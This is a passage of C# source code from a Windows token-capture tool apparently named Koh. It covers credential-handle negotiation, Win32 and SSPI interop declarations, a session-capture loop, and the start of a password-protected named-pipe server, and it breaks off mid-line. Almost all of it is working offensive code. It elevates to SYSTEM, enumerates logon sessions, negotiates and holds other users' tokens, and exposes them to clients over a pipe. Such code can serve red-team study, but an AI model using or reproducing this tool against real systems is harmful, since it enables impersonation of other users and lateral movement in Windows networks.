credName); 82 | bool delSuccess = Interop.FreeCredentialsHandle(ref cred); 83 | 84 | if (ret != 0) 85 | { 86 | if (DEBUG) Console.WriteLine($"DEBUG Error running QueryCredentialsAttributes: {ret}"); 87 | return ""; 88 | } 89 | else 90 | { 91 | // get the username for the credential (i.e., for NewCredentials) 92 | return Marshal.PtrToStringAnsi(credName).Trim(); 93 | } 94 | } 95 | 96 | public static IntPtr NegotiateToken(LUID luid, ConcurrentDictionary meta, bool DEBUG = false) 97 | { 98 | // grabs a credential handle for a specified LUID and negotiates a usable token 99 | // ref - https://mskb.pkisolutions.com/kb/180548 100 | 101 | SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); 102 | SecBufferDesc ClientToken2 = new SecBufferDesc(MAX_TOKEN_SIZE); 103 | SecBufferDesc ServerToken = new SecBufferDesc(MAX_TOKEN_SIZE); 104 | Interop.SECURITY_HANDLE ClientContext = new Interop.SECURITY_HANDLE(); 105 | Interop.SECURITY_HANDLE ServerContext = new Interop.SECURITY_HANDLE(); 106 | Interop.SECURITY_INTEGER ClientLifeTime; 107 | uint ContextAttributes = 0; 108 | IntPtr token = IntPtr.Zero; 109 | 110 | try 111 | { 112 | // Step 1 => acquire a credential handle to the specified logon session ID/LUID 113 | Interop.SECURITY_HANDLE cred = GetCredentialHandle(luid, meta); 114 | 115 | if ((cred.HighPart == IntPtr.Zero) && (cred.LowPart == IntPtr.Zero)) 116 | { 117 | return IntPtr.Zero; 118 | } 119 | 120 | if (DEBUG) Console.WriteLine($"DEBUG Successfully got a credential handle to LUID: {luid}"); 121 | 122 | 123 | // Step 2 -> call InitializeSecurityContext() with the cred handle to start the "client" side of negotiation 124 | uint clientRes = Interop.InitializeSecurityContext( 125 | ref cred, 126 | IntPtr.Zero, 127 | "", 128 | ISC_REQ_CONNECTION, 129 | 0, 130 | SECURITY_NATIVE_DREP, 131 | IntPtr.Zero, 132 | 0, 133 | out ClientContext, 134 | out ClientToken, 135 | out ContextAttributes, 136 | out ClientLifeTime); 137 | if (clientRes != SEC_I_CONTINUE_NEEDED) 138 | { 139 | Console.WriteLine($" [X] First InitializeSecurityContext() failed: {clientRes}"); 140 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred); 141 | throw new Exception("InitializeSecurityContext failure"); 142 | } 143 | 144 | 145 | // Step 2 -> call AcceptSecurityContext() with the client token, using the same credential 146 | uint serverRes = Interop.AcceptSecurityContext( 147 | ref cred, 148 | IntPtr.Zero, 149 | ref ClientToken, 150 | ISC_REQ_CONNECTION, 151 | SECURITY_NATIVE_DREP, 152 | out ServerContext, 153 | out ServerToken, 154 | out ContextAttributes, 155 | out ClientLifeTime 156 | ); 157 | if (serverRes != SEC_I_CONTINUE_NEEDED) 158 | { 159 | Console.WriteLine($" [X] First AcceptSecurityContext() failed: {serverRes}"); 160 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred); 161 | throw new Exception("First AcceptSecurityContext failure"); 162 | } 163 | 164 | 165 | // Step 3 -> call InitializeSecurityContext() with the server token 166 | clientRes = Interop.InitializeSecurityContext( 167 | ref cred, 168 | ref ClientContext, 169 | "", 170 | ISC_REQ_CONNECTION, 171 | 0, 172 | SECURITY_NATIVE_DREP, 173 | ref ServerToken, 174 | 0, 175 | out ClientContext, 176 | out ClientToken2, 177 | out ContextAttributes, 178 | out ClientLifeTime); 179 | if ((clientRes != SEC_I_CONTINUE_NEEDED) && (clientRes != SEC_E_OK)) 180 | { 181 | Console.WriteLine($" [X] Second InitializeSecurityContext() failed: {clientRes}"); 182 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred); 183 | throw new Exception("Second InitializeSecurityContext failure"); 184 | } 185 | 186 | 187 | // Step 4 -> call AcceptSecurityContext() with the client token 188 | serverRes = Interop.AcceptSecurityContext( 189 | ref cred, 190 | ref ServerContext, 191 | ref ClientToken2, 192 | ISC_REQ_CONNECTION, 193 | SECURITY_NATIVE_DREP, 194 | out ServerContext, 195 | out ServerToken, 196 | out ContextAttributes, 197 | out ClientLifeTime 198 | ); 199 | if (serverRes != SEC_E_OK) 200 | { 201 | Console.WriteLine($" [X] Second AcceptSecurityContext() failed: {serverRes}"); 202 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred); 203 | throw new Exception("Second AcceptSecurityContext failure"); 204 | } 205 | 206 | 207 | // Step 4 -> turn the server context into a usable token 208 | uint status = Interop.QuerySecurityContextToken(ServerContext, out token); 209 | if (status != 0) 210 | { 211 | Console.WriteLine(" [X] QuerySecurityContextToken() failed: {0}", status); 212 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred); 213 | throw new Exception("QuerySecurityContextToken failure"); 214 | } 215 | 216 | if (DEBUG) Console.WriteLine($"DEBUG Successfully negotiated credential to token: {token}"); 217 | 218 | bool delSuccess2 = Interop.FreeCredentialsHandle(ref cred); 219 | } 220 | catch(Exception e) 221 | { 222 | if (e.Message != "fail") 223 | { 224 | Console.WriteLine($" [X] Exception: {e}"); 225 | } 226 | } 227 | finally 228 | { 229 | bool del2Success = Interop.DeleteSecurityContext(ref ClientContext); 230 | bool del3Success = Interop.DeleteSecurityContext(ref ServerContext); 231 | 232 | ClientToken.Dispose(); 233 | ClientToken2.Dispose(); 234 | ServerToken.Dispose(); 235 | } 236 | 237 | return token; 238 | } 239 | } 240 | } 241 | -------------------------------------------------------------------------------- /Koh/Interop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | namespace Koh 6 | { 7 | public class Interop 8 | { 9 | #region enums 10 | 11 | public enum SECURITY_LOGON_TYPE : uint 12 | { 13 | Interactive = 2, // logging on interactively. 14 | Network, // logging using a network. 15 | Batch, // logon for a batch process. 16 | Service, // logon for a service account. 17 | Proxy, // Not supported. 18 | Unlock, // workstation unlock 19 | NetworkCleartext, // network logon with cleartext credentials 20 | NewCredentials, // caller can clone its current token and specify new credentials for outbound connections 21 | RemoteInteractive, // terminal server session that is both remote and interactive 22 | CachedInteractive, // attempt to use the cached credentials without going out across the network 23 | CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes 24 | CachedUnlock // attempt to unlock a workstation 25 | } 26 | 27 | public enum TOKEN_INFORMATION_CLASS 28 | { 29 | TokenUser = 1, 30 | TokenGroups, 31 | TokenPrivileges, 32 | TokenOwner, 33 | TokenPrimaryGroup, 34 | TokenDefaultDacl, 35 | TokenSource, 36 | TokenType, 37 | TokenImpersonationLevel, 38 | TokenStatistics, 39 | TokenRestrictedSids, 40 | TokenSessionId, 41 | TokenGroupsAndPrivileges, 42 | TokenSessionReference, 43 | TokenSandBoxInert, 44 | TokenAuditPolicy, 45 | TokenOrigin 46 | } 47 | 48 | [Flags] 49 | public enum LuidAttributes : uint 50 | { 51 | DISABLED = 0x00000000, 52 | SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, 53 | SE_PRIVILEGE_ENABLED = 0x00000002, 54 | SE_PRIVILEGE_REMOVED = 0x00000004, 55 | SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 56 | } 57 | 58 | #endregion 59 | 60 | 61 | #region structs 62 | 63 | public struct TOKEN_PRIVILEGES 64 | { 65 | public uint PrivilegeCount; 66 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 35)] 67 | public LUID_AND_ATTRIBUTES[] Privileges; 68 | 69 | public TOKEN_PRIVILEGES(uint PrivilegeCount, LUID_AND_ATTRIBUTES[] Privileges) 70 | { 71 | this.PrivilegeCount = PrivilegeCount; 72 | this.Privileges = Privileges; 73 | } 74 | } 75 | 76 | [StructLayout(LayoutKind.Sequential)] 77 | public struct SID_AND_ATTRIBUTES 78 | { 79 | public IntPtr Sid; 80 | public UInt32 Attributes; 81 | } 82 | 83 | [StructLayout(LayoutKind.Sequential)] 84 | public struct TOKEN_GROUPS 85 | { 86 | public UInt32 GroupCount; 87 | [MarshalAs(UnmanagedType.ByValArray)] 88 | public SID_AND_ATTRIBUTES[] Groups; 89 | } 90 | 91 | [StructLayout(LayoutKind.Sequential)] 92 | public struct TOKEN_ORIGIN 93 | { 94 | public LUID LoginID; 95 | } 96 | 97 | [StructLayout(LayoutKind.Sequential)] 98 | public struct LUID_AND_ATTRIBUTES 99 | { 100 | public LUID Luid; 101 | public UInt32 Attributes; 102 | 103 | public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001; 104 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002; 105 | public const UInt32 SE_PRIVILEGE_REMOVED = 0x00000004; 106 | public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000; 107 | } 108 | 109 | [StructLayout(LayoutKind.Sequential)] 110 | public struct LSA_STRING 111 | { 112 | public ushort Length; 113 | public ushort MaximumLength; 114 | public IntPtr Buffer; 115 | } 116 | 117 | [StructLayout(LayoutKind.Sequential)] 118 | public struct SECURITY_LOGON_SESSION_DATA 119 | { 120 | public uint Size; 121 | public LUID LoginID; 122 | public LSA_STRING Username; 123 | public LSA_STRING LoginDomain; 124 | public LSA_STRING AuthenticationPackage; 125 | public uint LogonType; 126 | public uint Session; 127 | public IntPtr PSiD; 128 | public ulong LoginTime; 129 | public LSA_STRING LogonServer; 130 | public LSA_STRING DnsDomainName; 131 | public LSA_STRING Upn; 132 | } 133 | 134 | public struct SECURITY_INTEGER 135 | { 136 | public uint LowPart; 137 | public int HighPart; 138 | public static SECURITY_INTEGER Empty 139 | { 140 | get 141 | { 142 | return new SECURITY_INTEGER 143 | { 144 | LowPart = 0, 145 | HighPart = 0 146 | }; 147 | } 148 | } 149 | }; 150 | 151 | [StructLayout(LayoutKind.Sequential)] 152 | public struct FILETIME 153 | { 154 | public uint DateTimeLow; 155 | public uint DateTimeHigh; 156 | } 157 | 158 | public struct SECURITY_HANDLE 159 | { 160 | public IntPtr LowPart; 161 | public IntPtr HighPart; 162 | 163 | public static SECURITY_HANDLE Empty 164 | { 165 | get 166 | { 167 | return new SECURITY_HANDLE 168 | { 169 | LowPart = IntPtr.Zero, 170 | HighPart = IntPtr.Zero 171 | }; 172 | } 173 | } 174 | }; 175 | 176 | #endregion 177 | 178 | 179 | #region APIs 180 | 181 | [DllImport("kernel32", EntryPoint = "GetComputerNameA", CharSet = CharSet.Ansi, SetLastError = true)] 182 | public static extern bool GetComputerName(StringBuilder lpBuffer, ref int nSize); 183 | 184 | [DllImport("kernel32.dll", SetLastError = true)] 185 | public static extern IntPtr CreateFile( 186 | string lpFileName, 187 | uint dwDesiredAccess, 188 | uint dwShareMode, 189 | uint lpSecurityAttributes, 190 | uint dwCreationDisposition, 191 | uint dwFlagsAndAttributes, 192 | uint hTemplateFile); 193 | 194 | [DllImport("kernel32.dll")] 195 | [return: MarshalAs(UnmanagedType.Bool)] 196 | public static extern bool WriteFile( 197 | IntPtr hFile, 198 | byte[] lpBuffer, 199 | uint nNumberOfBytesToWrite, 200 | out uint lpNumberOfBytesWritten, 201 | IntPtr lpOverlapped); 202 | 203 | [DllImport("secur32.dll", CharSet = CharSet.Auto)] 204 | public static extern uint AcquireCredentialsHandle( 205 | string pszPrincipal, 206 | string pszPackage, 207 | int fCredentialUse, 208 | IntPtr PAuthenticationID, 209 | IntPtr pAuthData, 210 | IntPtr pGetKeyFn, 211 | IntPtr pvGetKeyArgument, 212 | ref SECURITY_HANDLE phCredential, 213 | ref FILETIME ptsExpiry 214 | ); 215 | 216 | [DllImport("secur32.dll", SetLastError = true)] 217 | public static extern uint InitializeSecurityContext( 218 | ref SECURITY_HANDLE phCredential, 219 | IntPtr phContext, 220 | string pszTargetName, 221 | int fContextReq, 222 | int Reserved1, 223 | int TargetDataRep, 224 | IntPtr pInput, 225 | int Reserved2, 226 | out SECURITY_HANDLE phNewContext, 227 | out SecBufferDesc pOutput, 228 | out uint pfContextAttr, 229 | out SECURITY_INTEGER ptsExpiry 230 | ); 231 | 232 | [DllImport("secur32.dll", SetLastError = true)] 233 | public static extern uint InitializeSecurityContext( 234 | ref SECURITY_HANDLE phCredential, 235 | ref SECURITY_HANDLE phContext, 236 | string pszTargetName, 237 | int fContextReq, 238 | int Reserved1, 239 | int TargetDataRep, 240 | ref SecBufferDesc SecBufferDesc, 241 | int Reserved2, 242 | out SECURITY_HANDLE phNewContext, 243 | out SecBufferDesc pOutput, 244 | out uint pfContextAttr, 245 | out SECURITY_INTEGER ptsExpiry 246 | ); 247 | 248 | [DllImport("secur32.dll", SetLastError = true)] 249 | public static extern uint AcceptSecurityContext( 250 | ref SECURITY_HANDLE phCredential, 251 | IntPtr phContext, 252 | ref SecBufferDesc pInput, 253 | uint fContextReq, 254 | uint TargetDataRep, 255 | out SECURITY_HANDLE phNewContext, 256 | out SecBufferDesc pOutput, 257 | out uint pfContextAttr, 258 | out SECURITY_INTEGER ptsTimeStamp 259 | ); 260 | 261 | [DllImport("secur32.dll", SetLastError = true)] 262 | public static extern uint AcceptSecurityContext( 263 | ref SECURITY_HANDLE phCredential, 264 | ref SECURITY_HANDLE phContext, 265 | ref SecBufferDesc pInput, 266 | uint fContextReq, 267 | uint TargetDataRep, 268 | out SECURITY_HANDLE phNewContext, 269 | out SecBufferDesc pOutput, 270 | out uint pfContextAttr, 271 | out SECURITY_INTEGER ptsTimeStamp 272 | ); 273 | 274 | [DllImport("Secur32.dll", SetLastError = true)] 275 | public static extern uint QuerySecurityContextToken( 276 | SECURITY_HANDLE phContext, 277 | out IntPtr phToken 278 | ); 279 | 280 | [DllImport("Secur32.dll", SetLastError = true)] 281 | public static extern uint QueryCredentialsAttributes( 282 | ref SECURITY_HANDLE phCredential, 283 | ulong ulAttribute, 284 | out IntPtr pBuffer 285 | ); 286 | 287 | [DllImport("secur32.dll", SetLastError = false)] 288 | public static extern uint LsaFreeReturnBuffer( 289 | IntPtr buffer 290 | ); 291 | 292 | [DllImport("Secur32.dll", SetLastError = false)] 293 | public static extern uint LsaEnumerateLogonSessions( 294 | out UInt64 LogonSessionCount, 295 | out IntPtr LogonSessionList 296 | ); 297 | 298 | [DllImport("Secur32.dll", SetLastError = false)] 299 | public static extern uint LsaGetLogonSessionData( 300 | IntPtr luid, 301 | out IntPtr ppLogonSessionData 302 | ); 303 | 304 | [DllImport("advapi32.dll", SetLastError = true)] 305 | public static extern bool GetTokenInformation( 306 | IntPtr TokenHandle, 307 | TOKEN_INFORMATION_CLASS TokenInformationClass, 308 | IntPtr TokenInformation, 309 | int TokenInformationLength, 310 | out int ReturnLength 311 | ); 312 | 313 | [DllImport("advapi32.dll", SetLastError = true)] 314 | [return: MarshalAs(UnmanagedType.Bool)] 315 | public static extern bool OpenProcessToken( 316 | IntPtr ProcessHandle, 317 | UInt32 DesiredAccess, 318 | out IntPtr TokenHandle 319 | ); 320 | 321 | [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] 322 | public static extern bool ConvertSidToStringSid( 323 | IntPtr securityIdentifier, 324 | out string securityIdentifierName 325 | ); 326 | 327 | [DllImport("advapi32.dll")] 328 | public static extern bool DuplicateToken( 329 | IntPtr ExistingTokenHandle, 330 | int SECURITY_IMPERSONATION_LEVEL, 331 | ref IntPtr DuplicateTokenHandle 332 | ); 333 | 334 | [DllImport("advapi32.dll", SetLastError = true)] 335 | public static extern bool ImpersonateLoggedOnUser( 336 | IntPtr hToken 337 | ); 338 | 339 | [DllImport("advapi32.dll", SetLastError = true)] 340 | public static extern bool RevertToSelf(); 341 | 342 | [DllImport("kernel32.dll", SetLastError = true)] 343 | [return: MarshalAs(UnmanagedType.Bool)] 344 | public static extern bool CloseHandle( 345 | IntPtr hObject 346 | ); 347 | 348 | [DllImport("secur32.dll", SetLastError = true)] 349 | public static extern bool FreeCredentialsHandle( 350 | ref SECURITY_HANDLE phCredential 351 | ); 352 | 353 | [DllImport("secur32.dll", SetLastError = true)] 354 | public static extern bool DeleteSecurityContext( 355 | ref SECURITY_HANDLE phContext 356 | ); 357 | 358 | #endregion 359 | } 360 | } 361 | -------------------------------------------------------------------------------- /Koh/Capture.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Concurrent; 3 | using System.Collections.Generic; 4 | using System.Threading; 5 | 6 | namespace Koh 7 | { 8 | public class Capture 9 | { 10 | // represents a captured logon session 11 | public struct CapturedSession 12 | { 13 | public string UserName; 14 | public ulong Luid; 15 | public string SID; 16 | public string LogonType; 17 | public string AuthPackage; 18 | public string UserSID; 19 | public string CredUser; 20 | public string OriginLUID; 21 | public IntPtr TokenHandle; 22 | public DateTime CaptureTime; 23 | public CapturedSession(string userName, ulong luid, string sid, string logonType, string authPackage, string userSid, string credUser, string originLUID, IntPtr tokenHandle) 24 | { 25 | UserName = userName; 26 | Luid = luid; 27 | SID = sid; 28 | LogonType = logonType; 29 | AuthPackage = authPackage; 30 | UserSID = userSid; 31 | CredUser = credUser; 32 | OriginLUID = originLUID; 33 | TokenHandle = tokenHandle; 34 | CaptureTime = DateTime.Now; 35 | } 36 | } 37 | 38 | public static void Sessions(ConcurrentDictionary meta, ConcurrentDictionary capturedSessions, ConcurrentDictionary excludeSids, ConcurrentDictionary filterSids, bool loop = true, bool captureSessions = true, bool DEBUG = false) 39 | { 40 | // Main worker function that handles listing/monitoring/capturing new logon sessions 41 | 42 | Console.WriteLine(); 43 | 44 | if (!Helpers.IsHighIntegrity()) 45 | { 46 | Console.WriteLine(" [X] Not high integrity!"); 47 | return; 48 | } 49 | 50 | if (Helpers.IsSystem()) 51 | { 52 | Console.WriteLine(" [*] Already SYSTEM, not elevating\n"); 53 | } 54 | else 55 | { 56 | if (!Helpers.GetSystem()) 57 | { 58 | Console.WriteLine(" [X] Error elevating to SYSTEM!"); 59 | return; 60 | } 61 | Console.WriteLine(" [*] Elevated to SYSTEM\n"); 62 | } 63 | 64 | if ((filterSids != null) && (filterSids.Count > 0)) 65 | { 66 | Console.WriteLine(" [*] Targeting group SIDs:"); 67 | foreach (var sidString in filterSids.Keys) { 68 | Console.WriteLine($" {sidString}"); 69 | } 70 | } 71 | 72 | do 73 | { 74 | // enumerate current logon sessions 75 | Dictionary logonSessions = Find.LogonSessions(DEBUG); 76 | Dictionary logonSessionsToProcess = new Dictionary(); 77 | Dictionary negotiateSessions = new Dictionary(); 78 | 79 | // find all "Negotiate" logon session packages so we can prefer to use these 80 | foreach (KeyValuePair entry in logonSessions) 81 | { 82 | if(entry.Value.AuthPackage == "Negotiate") 83 | { 84 | string negotiateKey = $"{entry.Value.SID}{entry.Value.LogonType}"; 85 | if (!negotiateSessions.ContainsKey(negotiateKey)) 86 | { 87 | negotiateSessions.Add(negotiateKey, true); 88 | } 89 | } 90 | } 91 | 92 | foreach (KeyValuePair entry in logonSessions) 93 | { 94 | if (captureSessions) { 95 | // if we're capturing, ensure we only capture the negotiate session for a SID+LogonType if a negotiate session is present 96 | if (entry.Value.AuthPackage == "Negotiate") 97 | { 98 | if (!logonSessionsToProcess.ContainsKey(entry.Key)) 99 | { 100 | logonSessionsToProcess.Add(entry.Key, entry.Value); 101 | } 102 | else 103 | { 104 | logonSessionsToProcess[entry.Key] = entry.Value; 105 | } 106 | } 107 | else 108 | { 109 | // only add a new session if an equivalent Negotiate logon session is not present 110 | if (!negotiateSessions.ContainsKey($"{entry.Value.SID}{entry.Value.LogonType}")) { 111 | logonSessionsToProcess.Add(entry.Key, entry.Value); 112 | } 113 | } 114 | } 115 | else 116 | { 117 | logonSessionsToProcess.Add(entry.Key, entry.Value); 118 | } 119 | } 120 | 121 | foreach (KeyValuePair entry in logonSessionsToProcess) 122 | { 123 | string identifier = entry.Key; 124 | ulong luid = 0; 125 | Find.FoundSession session = entry.Value; 126 | 127 | if ((capturedSessions.Count >= Program.maxTokens)) 128 | { 129 | if (!Program.maxWarned) 130 | { 131 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n"); 132 | Program.maxWarned = true; 133 | } 134 | else 135 | { 136 | continue; 137 | } 138 | } 139 | else 140 | { 141 | Program.maxWarned = false; 142 | } 143 | 144 | if ( ((!captureSessions && !loop) || !capturedSessions.ContainsKey(identifier)) && !excludeSids.ContainsKey(identifier)) 145 | { 146 | ulong.TryParse(session.Luid, out luid); 147 | 148 | if (luid != 0) 149 | { 150 | try 151 | { 152 | LUID userLuid = new LUID(luid); 153 | LUID tokenOrigin = new LUID(); 154 | 155 | // negotiate a new token for this particular LUID 156 | IntPtr hToken = Creds.NegotiateToken(userLuid, meta, DEBUG); 157 | if (hToken != IntPtr.Zero) 158 | { 159 | tokenOrigin = Helpers.GetTokenOrigin(hToken); 160 | } 161 | 162 | if (hToken == IntPtr.Zero) 163 | { 164 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}"); 165 | Console.WriteLine($" UserName : {session.UserName}"); 166 | Console.WriteLine($" LUID : {session.Luid}"); 167 | Console.WriteLine($" LogonType : {session.LogonType}"); 168 | Console.WriteLine($" AuthPackage : {session.AuthPackage}"); 169 | Console.WriteLine($" User SID : {session.SID}"); 170 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}"); 171 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})"); 172 | Console.WriteLine($"\n [X] Error negotiating a token for LUID {session.Luid} (hToken: {hToken})\n"); 173 | } 174 | else 175 | { 176 | // if we're filtering for specific group SIDs 177 | if ((filterSids != null) && (filterSids.Count > 0)) 178 | { 179 | bool targetCaptured = false; 180 | foreach (var sidString in filterSids.Keys) 181 | { 182 | if (Helpers.CheckTokenForGroup(hToken, $"{sidString}")) 183 | { 184 | targetCaptured = true; 185 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}"); 186 | Console.WriteLine($" UserName : {session.UserName}"); 187 | Console.WriteLine($" LUID : {session.Luid}"); 188 | Console.WriteLine($" LogonType : {session.LogonType}"); 189 | Console.WriteLine($" AuthPackage : {session.AuthPackage}"); 190 | Console.WriteLine($" User SID : {session.SID}"); 191 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}"); 192 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})"); 193 | 194 | if (captureSessions) 195 | { 196 | if (capturedSessions.Count < Program.maxTokens) 197 | { 198 | // if we're doing "capture" 199 | Console.WriteLine($"\n [*] Successfully negotiated a token for LUID {session.Luid} (hToken: {hToken})\n"); 200 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", hToken); 201 | capturedSessions.TryAdd(identifier, captureSession); 202 | } 203 | else 204 | { 205 | // hit our token limit 206 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n"); 207 | Interop.CloseHandle(hToken); 208 | } 209 | } 210 | else 211 | { 212 | // if we're doing "list" or monitor" close the token off to free it up 213 | Interop.CloseHandle(hToken); 214 | 215 | // if we're doing "monitor" add the observed session to the list 216 | if (loop) 217 | { 218 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", IntPtr.Zero); 219 | capturedSessions.TryAdd(identifier, captureSession); 220 | } 221 | } 222 | } 223 | } 224 | if (!targetCaptured) 225 | { 226 | // if the token does not match any filtering, add it to the exclude list 227 | Interop.CloseHandle(hToken); 228 | excludeSids.TryAdd(identifier, true); 229 | } 230 | } 231 | else 232 | { 233 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}"); 234 | Console.WriteLine($" UserName : {session.UserName}"); 235 | Console.WriteLine($" LUID : {session.Luid}"); 236 | Console.WriteLine($" LogonType : {session.LogonType}"); 237 | Console.WriteLine($" AuthPackage : {session.AuthPackage}"); 238 | Console.WriteLine($" User SID : {session.SID}"); 239 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}"); 240 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})"); 241 | 242 | if (captureSessions) 243 | { 244 | if (capturedSessions.Count < Program.maxTokens) 245 | { 246 | // if we're doing "capture" 247 | Console.WriteLine($"\n [*] Successfully negotiated a token for LUID {session.Luid} (hToken: {hToken})\n"); 248 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", hToken); 249 | capturedSessions.TryAdd(identifier, captureSession); 250 | } 251 | else 252 | { 253 | // hit our token limit 254 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n"); 255 | Interop.CloseHandle(hToken); 256 | } 257 | } 258 | else 259 | { 260 | // if we're doing "list" or monitor" 261 | Interop.CloseHandle(hToken); 262 | 263 | // if we're doing "monitor" 264 | if (loop) 265 | { 266 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", IntPtr.Zero); 267 | capturedSessions.TryAdd(identifier, captureSession); 268 | } 269 | } 270 | } 271 | } 272 | } 273 | catch(Exception e) 274 | { 275 | Console.WriteLine($" [!] Exception: ${e}"); 276 | } 277 | } 278 | } 279 | } 280 | 281 | if (captureSessions) 282 | { 283 | // if we're capturing sessions, check every 500ms 284 | Thread.Sleep(500); 285 | } 286 | 287 | if((capturedSessions.Count == 0) && (meta["AcquireCredentialsHandleError"] > 0)) 288 | { 289 | // if we haven't captured any sessions and we have more than one error for AcquireCredentialsHandle, signal for exit 290 | Console.WriteLine("\n[X] No sessions captured and error with AcquireCredentialsHandle, exiting..."); 291 | meta["SignalExit"] = 1; 292 | } 293 | } 294 | while (loop && (meta["SignalExit"] != 1)); 295 | 296 | Interop.RevertToSelf(); 297 | } 298 | } 299 | } 300 | -------------------------------------------------------------------------------- /Koh/Pipe.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Concurrent; 3 | using System.IO.Pipes; 4 | using System.Threading; 5 | using System.Linq; 6 | using System.Collections.Generic; 7 | using System.Runtime.InteropServices; 8 | using System.ComponentModel; 9 | 10 | // The main namedpipe logic that handles commands for the Koh server 11 | 12 | namespace Koh 13 | { 14 | public class PipeServer 15 | { 16 | Thread runningThread; 17 | 18 | private string _pipeName; 19 | private string _password; 20 | private string _mode; 21 | private bool _debug; 22 | private ConcurrentDictionary _meta; 23 | private ConcurrentDictionary _capturedSessions; 24 | private ConcurrentDictionary _excludeSids; 25 | private ConcurrentDictionary _filterSids; 26 | 27 | public PipeServer(string pipeName, string password, ConcurrentDictionary meta, ConcurrentDictionary capturedSessions, ConcurrentDictionary excludeSids, ConcurrentDictionary filterSids, string mode, bool debug = false) 28 | { 29 | _pipeName = pipeName; 30 | _password = password; 31 | _mode = mode; 32 | _meta = meta; 33 | _capturedSessions = capturedSessions; 34 | _excludeSids = excludeSids; 35 | _filterSids = filterSids; 36 | _debug = debug; 37 | } 38 | 39 | void ServerLoop() 40 | { 41 | // check if we've been signaled to exit 42 | while (_meta["SignalExit"] != 1) 43 | { 44 | ProcessNextClient(); 45 | } 46 | } 47 | 48 | public void Run() 49 | { 50 | Console.WriteLine($"\n [*] Starting server with named pipe: {_pipeName}"); 51 | 52 | runningThread = new Thread(ServerLoop); 53 | runningThread.Start(); 54 | } 55 | 56 | public void Stop() 57 | { 58 | _meta["SignalExit"] = 1; 59 | } 60 | 61 | public void ProcessClientThread(object o) 62 | { 63 | NamedPipeServerStream pipeStream = (NamedPipeServerStream)o; 64 | string responseMsg = "Incorrect usage"; 65 | byte[] inBuffer = new byte[4096]; 66 | 67 | if (pipeStream.CanRead) 68 | { 69 | pipeStream.Read(inBuffer, 0, 4096); 70 | } 71 | 72 | var input = System.Text.Encoding.ASCII.GetString(inBuffer).Trim('\0').Trim(); 73 | string[] parts = input.Split(' '); 74 | if (_debug) 75 | { 76 | Console.WriteLine($"DEBUG ({DateTime.Now}) Command: {input}"); 77 | } 78 | 79 | if (parts.Length > 1) 80 | { 81 | if (parts[0] == _password) 82 | { 83 | string command = parts[1].ToLower(); 84 | if (command == "list") 85 | { 86 | // lists currently captured sessions/tokens 87 | responseMsg = ""; 88 | foreach (var capturedSession in _capturedSessions) 89 | { 90 | Capture.CapturedSession sess = capturedSession.Value; 91 | if ((sess.TokenHandle != IntPtr.Zero) || (_mode == "monitor")) 92 | { 93 | if (pipeStream.CanWrite) 94 | { 95 | responseMsg += $"\nUsername : {sess.UserName} ({sess.SID})\nLUID : {sess.Luid}\nCaptureTime : {sess.CaptureTime}\nLogonType : {sess.LogonType}\nAuthPackage : {sess.AuthPackage}\nCredUserName : {sess.CredUser}\nOrigin LUID : {sess.OriginLUID}\n"; 96 | } 97 | } 98 | } 99 | if(responseMsg == "") 100 | { 101 | responseMsg = "[!] No current sessions captured"; 102 | } 103 | } 104 | else if (command == "filter") 105 | { 106 | // lists, adds, or resets the SIDs tofilter 107 | responseMsg = ""; 108 | 109 | if (parts.Length == 3 && (parts[2] == "list")) 110 | { 111 | if (_filterSids.Keys.Count == 0) 112 | { 113 | responseMsg = "[!] No group SIDs current set for capture filtering."; 114 | } 115 | else 116 | { 117 | responseMsg = "[*] Current group SIDs set for capture filtering:\n"; 118 | foreach (var sidString in _filterSids.Keys) 119 | { 120 | responseMsg += $" {sidString}\n"; 121 | } 122 | } 123 | } 124 | else if (parts.Length == 4 && (parts[2] == "add") && (Helpers.IsDomainSid(parts[3]))) 125 | { 126 | if(_filterSids.TryAdd(parts[3], true)) 127 | { 128 | responseMsg = $"[*] Added {parts[3]} group SID to capture filtering."; 129 | } 130 | else 131 | { 132 | responseMsg = $"[!] Error adding {parts[3]} group SID to capture 